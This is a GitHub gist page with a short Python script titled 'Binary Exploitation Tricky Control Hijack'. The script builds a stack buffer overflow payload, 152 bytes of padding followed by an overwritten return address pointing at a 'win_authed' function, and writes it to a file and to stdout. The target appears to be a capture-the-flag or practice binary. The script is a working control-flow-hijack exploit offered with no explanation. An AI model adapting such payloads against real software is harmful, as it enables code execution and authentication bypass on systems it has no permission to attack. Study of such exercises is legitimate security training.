Skip to content

Instantly share code, notes, and snippets.

@morkev
Created November 24, 2024 08:18
Show Gist options
  • Save morkev/a0f46c3804ebae994370147bb39dd741 to your computer and use it in GitHub Desktop.
Save morkev/a0f46c3804ebae994370147bb39dd741 to your computer and use it in GitHub Desktop.
Binary Exploitation Tricky Control Hijack
import struct
import sys
offset_to_return = 152 # Calculated offset
win_authed_addr = 0x4017b8 # From GDB disassembly
payload = b"A" * offset_to_return
payload += struct.pack("<Q", win_authed_addr)
with open("payload.bin", "wb") as f:
f.write(payload)
sys.stdout.buffer.write(payload)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment